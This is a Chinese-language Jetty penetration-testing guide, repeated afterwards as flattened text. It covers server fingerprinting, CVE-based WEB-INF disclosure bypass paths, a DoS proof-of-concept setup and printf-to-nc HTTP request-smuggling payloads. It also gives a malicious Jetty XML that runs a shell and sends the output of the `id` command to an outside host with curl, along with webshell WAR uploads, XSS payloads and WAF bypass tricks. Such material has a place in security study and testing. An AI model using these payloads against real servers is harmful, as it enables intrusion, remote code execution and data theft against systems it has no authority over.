jetty常用渗透总结
字数 2389 2025-08-26 22:11:45

Jetty渗透测试全面指南

1. Jetty简介与基础

Jetty是一个Java Web服务器和Java Servlet容器,作为Eclipse Foundation的一部分开发的开源项目。它被广泛应用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geronimo等多个知名项目中。

1.1 关键目录结构

  • $JETTY_HOME: Jetty分发目录,包含start.jar启动文件
  • $JETTY_BASE: 包含配置文件和WEB应用的目录

配置加载顺序(从高到低):

  1. 命令行参数
  2. $JETTY_BASE目录及其文件
  3. 使用--include-jetty-dir选项指定的目录及其文件
  4. $JETTY_HOME目录及其文件

2. Jetty识别方法

2.1 响应头特征

  • Server头: 默认会返回Jetty版本信息

2.2 GET请求特征

  • 在URL后添加;;"可识别Jetty中间件
  • 示例:
    • 请求/path;test,Jetty返回200,Nginx通常返回404

2.3 404页面

  • 默认404页面会显示Jetty版本信息

3. WEB.xml文件分析

WEB.xml是Web应用的部署描述文件,位于WEB-INF目录中,主要危害是信息泄露。

3.1 基本结构示例

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" 
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee 
         http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">
  <servlet>
    <servlet-name>comingsoon</servlet-name>
    <servlet-class>mysite.server.ComingSoonServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>comingsoon</servlet-name>
    <url-pattern>/*</url-pattern>
  </servlet-mapping>
</web-app>

3.2 主要元素

  • servlet: 定义服务器设置
    • servlet-name: 服务器名称
    • servlet-class: 服务器类
  • servlet-mapping: 定义servlet和URL模式间的映射
    • url-pattern: 用于解析URL

注意:Java Servlet Spec 3.0+可以不使用web.xml,通过Java类和注解配置

4. Jetty漏洞利用

4.1 CVE-2021-28164 (WEB-INF敏感信息泄露)

  • 影响版本: 9.4.37-9.4.38
  • 利用方法:
    • 直接访问/WEB-INF/web.xml返回404
    • 使用/%2e/WEB-INF/web.xml绕过

4.2 CVE-2021-28169 (ConcatServlet信息泄露)

  • 影响版本: <=9.4.40, 10.0.2, 11.0.2
  • 利用方法:
    • 双重URL编码W字符:/static?/%2557EB-INF/web.xml

4.3 CVE-2021-34429 (WEB-INF信息泄露绕过)

  • 影响版本: 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5
  • 绕过方法:
    1. Unicode形式URL编码:/%u002e/WEB-INF/web.xml
    2. \0组合:/.%00/WEB-INF/web.xml
    3. \0组合:/a/b/..%00/WEB-INF/web.xml

4.4 CVE-2020-27223 (DoS漏洞)

  • 影响版本: 9.4.6-9.4.36, 10.0.0, 11.0.0
  • 漏洞原理: 处理包含多个带有大量"质量"(q)参数的Accept头时CPU使用率高
  • 环境搭建:
    git clone https://github.com/motikan2010/CVE-2020-27223
    cd CVE-2020-27223
    mvn spring-boot:run
    
  • POC: 使用环境内的cve-2020-27223-poc1.sh

4.5 HTTP走私漏洞 (CVE-2017-7656/7/8)

  • 影响版本:
    • 9.2.x <=9.2.25v20180606
    • 9.3.x <=9.3.24v20180605
    • 9.4.x <=9.4.11v20280605

4.5.1 HTTP/0.9走私

printf 'GET /?test=4564 HTTP/0.9\r\n' \
'Range: bytes=36-42\r\n' \
'\r\n' \
| nc 127.0.0.1 8994

4.5.2 双Content-Length头

printf 'GET /?test=4970 HTTP/1.1\r\n' \
'Host: localhost\r\n' \
'Connection: keepalive\r\n' \
'Content-Length: 0\r\n' \
'Content-Length: 45\r\n' \
'\r\n' \
'GET /?test=4971 HTTP/1.1\r\n' \
'Host: localhost\r\n' \
'\r\n' \
'GET /?test=4972 HTTP/1.1\r\n' \
'Host: localhost\r\n' \
'\r\n' \
| nc 127.0.0.1 8994 | grep "HTTP"

4.5.3 块大小属性截断

printf 'POST /?test=4975 HTTP/1.1\r\n' \
'Transfer-Encoding: chunked\r\n' \
'Content-Type: application/x-www-form-urlencoded\r\n' \
'Host: localhost\r\n' \
'\r\n' \
'1ff00000008\r\n' \
'abcdefgh\r\n' \
'\r\n' \
'0\r\n' \
'\r\n' \
'POST /?test=4976 HTTP/1.1\r\n' \
'Content-Length: 5\r\n' \
'Host: localhost\r\n' \
'\r\n' \
'\r\n' \
'0\r\n' \
'\r\n' \
| nc 127.0.0.1 8994 | grep "HTTP/1.1"

5. 上下文信息泄露

5.1 目录列表

  • 未设置根应用目录时,会显示webapps里的目录信息

5.2 通过Host头泄露

  • 当应用通过web.xml映射提供服务时,发送不属于xml Item标签内信息的Host头可能泄露上下文信息

示例demo-simple.xml配置:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
  <Set name="contextPath">/</Set>
  <Set name="war"><Property name="jetty.webapps" default="."/>/demo-simple.war</Set>
  <Set name="virtualHosts">
    <Array type="java.lang.String">
      <Item>test.local</Item>
      <Item>172.22.16.108</Item>
    </Array>
  </Set>
</Configure>

6. 上传与RCE技术

6.1 JSP文件上传

  • Jetty默认通过org.eclipse.jetty.jsp.JettyJspServlet处理JSP
  • 需要启动jsp模块:java -jar start.jar --module=jsp

6.1.1 常见上传目录

  • $JETTY_BASE/webapps/root

6.1.2 上传临时目录

  • 未设置固定工作目录时,临时目录格式:
    "jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"+randomdigits
    
  • 设置工作目录后,在${jetty.base}/work/下创建临时目录

6.2 WAR文件上传RCE

  1. 制作WAR webshell:
    zip -r shell.war index.jsp
    
  2. 上传到$jetty_base/webapps/

注意:需要服务器开启jsp模块,否则只能使用servlet创建java应用

6.3 XML文件上传RCE

示例恶意XML:

<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
  <Call class="java.lang.Runtime" name="getRuntime">
    <Call name="exec">
      <Arg>
        <Array type="String">
          <Item>/bin/sh</Item>
          <Item>-c</Item>
          <Item>curl -F "r=`id`" http://192.168.0.0:80</Item>
        </Array>
      </Arg>
    </Call>
  </Call>
</Configure>
  • 上传后无需重启,Jetty热部署会自动扫描部署

6.4 上传文件XSS

  • 可上传.xml、.html、.svg等文件
  • 有效载荷示例:
    <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert('PTSWARM')</script>
    
    <script>alert('PTSWARM')</script>
    

7. WAF绕过技术

7.1 绕过目录拦截

  • 示例:NGINX拦截/adminURL/*
  • 绕过:请求/adminURL;random/

7.2 绕过文件读取WAF

  • 利用getParameter方法处理差异
  • 使用Content-Type: multipart/form-data_charset_字段指定编码

7.3 边界解析特性

  • 解析多部分请求边界时,遇到;即停止,后面内容被忽略

7.4 反斜杠清除

  • 提取参数名时,\[any_symbol]会被转换为[any_symbol]

8. 参考资源

  1. Jetty Wikipedia
  2. Oracle Web.xml文档
  3. Jetty安全特性研究
  4. Jetty操作指南
  5. HTTP走私详解
Jetty渗透测试全面指南 1. Jetty简介与基础 Jetty是一个Java Web服务器和Java Servlet容器,作为Eclipse Foundation的一部分开发的开源项目。它被广泛应用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geronimo等多个知名项目中。 1.1 关键目录结构 $JETTY_ HOME : Jetty分发目录,包含start.jar启动文件 $JETTY_ BASE : 包含配置文件和WEB应用的目录 配置加载顺序(从高到低): 命令行参数 $JETTY_ BASE目录及其文件 使用 --include-jetty-dir 选项指定的目录及其文件 $JETTY_ HOME目录及其文件 2. Jetty识别方法 2.1 响应头特征 Server头 : 默认会返回Jetty版本信息 2.2 GET请求特征 在URL后添加 ; 或 ;" 可识别Jetty中间件 示例: 请求 /path;test ,Jetty返回200,Nginx通常返回404 2.3 404页面 默认404页面会显示Jetty版本信息 3. WEB.xml文件分析 WEB.xml是Web应用的部署描述文件,位于WEB-INF目录中,主要危害是信息泄露。 3.1 基本结构示例 3.2 主要元素 servlet : 定义服务器设置 servlet-name : 服务器名称 servlet-class : 服务器类 servlet-mapping : 定义servlet和URL模式间的映射 url-pattern : 用于解析URL 注意:Java Servlet Spec 3.0+可以不使用web.xml,通过Java类和注解配置 4. Jetty漏洞利用 4.1 CVE-2021-28164 (WEB-INF敏感信息泄露) 影响版本 : 9.4.37-9.4.38 利用方法 : 直接访问 /WEB-INF/web.xml 返回404 使用 /%2e/WEB-INF/web.xml 绕过 4.2 CVE-2021-28169 (ConcatServlet信息泄露) 影响版本 : <=9.4.40, 10.0.2, 11.0.2 利用方法 : 双重URL编码W字符: /static?/%2557EB-INF/web.xml 4.3 CVE-2021-34429 (WEB-INF信息泄露绕过) 影响版本 : 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5 绕过方法 : Unicode形式URL编码: /%u002e/WEB-INF/web.xml \0 组合: /.%00/WEB-INF/web.xml \0 组合: /a/b/..%00/WEB-INF/web.xml 4.4 CVE-2020-27223 (DoS漏洞) 影响版本 : 9.4.6-9.4.36, 10.0.0, 11.0.0 漏洞原理 : 处理包含多个带有大量"质量"(q)参数的Accept头时CPU使用率高 环境搭建 : POC : 使用环境内的 cve-2020-27223-poc1.sh 4.5 HTTP走私漏洞 (CVE-2017-7656/7/8) 影响版本 : 9.2.x <=9.2.25v20180606 9.3.x <=9.3.24v20180605 9.4.x <=9.4.11v20280605 4.5.1 HTTP/0.9走私 4.5.2 双Content-Length头 4.5.3 块大小属性截断 5. 上下文信息泄露 5.1 目录列表 未设置根应用目录时,会显示webapps里的目录信息 5.2 通过Host头泄露 当应用通过web.xml映射提供服务时,发送不属于xml Item标签内信息的Host头可能泄露上下文信息 示例demo-simple.xml配置: 6. 上传与RCE技术 6.1 JSP文件上传 Jetty默认通过 org.eclipse.jetty.jsp.JettyJspServlet 处理JSP 需要启动jsp模块: java -jar start.jar --module=jsp 6.1.1 常见上传目录 $JETTY_BASE/webapps/root 6.1.2 上传临时目录 未设置固定工作目录时,临时目录格式: 设置工作目录后,在 ${jetty.base}/work/ 下创建临时目录 6.2 WAR文件上传RCE 制作WAR webshell: 上传到 $jetty_base/webapps/ 注意:需要服务器开启jsp模块,否则只能使用servlet创建java应用 6.3 XML文件上传RCE 示例恶意XML: 上传后无需重启,Jetty热部署会自动扫描部署 6.4 上传文件XSS 可上传.xml、.html、.svg等文件 有效载荷示例: 或 7. WAF绕过技术 7.1 绕过目录拦截 示例:NGINX拦截 /adminURL/* 绕过:请求 /adminURL;random/ 7.2 绕过文件读取WAF 利用 getParameter 方法处理差异 使用 Content-Type: multipart/form-data 和 _charset_ 字段指定编码 7.3 边界解析特性 解析多部分请求边界时,遇到 ; 即停止,后面内容被忽略 7.4 反斜杠清除 提取参数名时, \[any_symbol] 会被转换为 [any_symbol] 8. 参考资源 Jetty Wikipedia Oracle Web.xml文档 Jetty安全特性研究 Jetty操作指南 HTTP走私详解